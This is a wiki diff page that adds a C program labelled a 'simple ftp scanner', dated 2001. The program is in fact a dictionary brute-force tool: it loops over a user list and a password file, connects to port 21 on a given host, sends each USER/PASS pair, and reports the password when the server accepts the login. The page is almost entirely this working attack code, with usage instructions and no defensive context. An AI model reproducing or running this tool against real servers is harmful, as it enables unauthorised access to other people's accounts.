Differences

This shows you the differences between two versions of the page.

@@ Line 1: / Line 1: @@
+===== simple ftp scanner =====
+written by MoD and ZehDeh 2001
+=== example of a simple ftp scanner in c ===
+<code c>
+#include <stdio.h>
+#include <string.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/select.h>
+void logintoftp();
+char tmp[256];
+char name[300], pass[300], buf[300], buf2[300];
+char snd[1024], rcv[1024];
+int n;
+int sockfd;
+int main(int argc, char **argv)
+{
+	char sendln[1024], recvln[4048], buf1[800], buf2[1000];
+	char *p, *q;
+	int len, offset = 0, i,w;
+	struct sockaddr_in cli;
+	FILE *passwd, *userlist;
+	if(argc<4)
+	{
+	printf("usage: %s [host] [userlist] [passwordfile]\n",argv[0]);
+	exit(0);
+	}
+	passwd=fopen(argv[3],"r+");
+	if(!passwd)
+	{
+	printf("Cannot open %s\n\n",argv[3]);
+	exit(0);
+	}
+	fclose(passwd);
+	userlist=fopen(argv[2],"r+");
+	if(!userlist)
+	{
+	printf("Cannot open %s\n\n",argv[2]);
+	exit(0);
+	}
+        while(!feof(userlist))
+	{
+	fgets(buf,300,userlist);
+        sscanf(buf, "%s", name);
+	passwd=fopen(argv[3],"r+");
+	while(!feof(passwd))
+	{
+	fgets(buf2,300,passwd);
+        sscanf(buf2, "%s", pass);
+	printf("%s\n",pass);
+	bzero(&cli, sizeof(cli));
+	bzero(recvln, sizeof(recvln));
+	bzero(sendln, sizeof(sendln));
+	cli.sin_family = AF_INET;
+	cli.sin_port = htons(21);
+	inet_pton(AF_INET, argv[1], &cli.sin_addr);
+	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
+		perror("socket");
+		exit(0);
+	}
+	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
+		perror("connect");
+		exit(0);
+	}
+	while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
+		recvln[len] = '\0';
+		if(strchr(recvln, '\n') != NULL)
+			break;
+	}
+	logintoftp(sockfd);
+	bzero(sendln, sizeof(sendln));
+	close(sockfd);
+	}
+	fclose(passwd);
+	printf("nothing found ohhh :-(\n\n");
+	}
+	fclose(userlist);
+}
+void logintoftp()
+{
+char test[20];
+	printf("logging in with %s: %s\n", name, pass);
+ 	memset(snd, '\0', 1024);
+	sprintf(snd, "USER %s\r\n", name);
+	write(sockfd, snd, strlen(snd));
+        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
+                rcv[n] = 0;
+                if(strchr(rcv, '\n') != NULL)
+                        break;
+        }
+	memset(snd, '\0', 1024);
+        sprintf(snd, "PASS %s\r\n", pass);
+        write(sockfd, snd, strlen(snd));
+	while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
+	sprintf(test,"%c%c%c",rcv[0],rcv[1],rcv[2]);
+	if(strcmp(test,"230")==0)
+	{
+	printf("Drin ...\nPassword: %s\n\n",pass);
+	exit(0);
+	}
+	rcv[n] = 0;
+		if(strchr(rcv, '\n') != NULL)
+			break;
+	}
+	return;
+}
+</code>

on the occasion of the current invasion of Russia in Ukraine

User Tools

Site Tools

Differences

on the occasion of the current invasion of Russia in Ukraine

Page Tools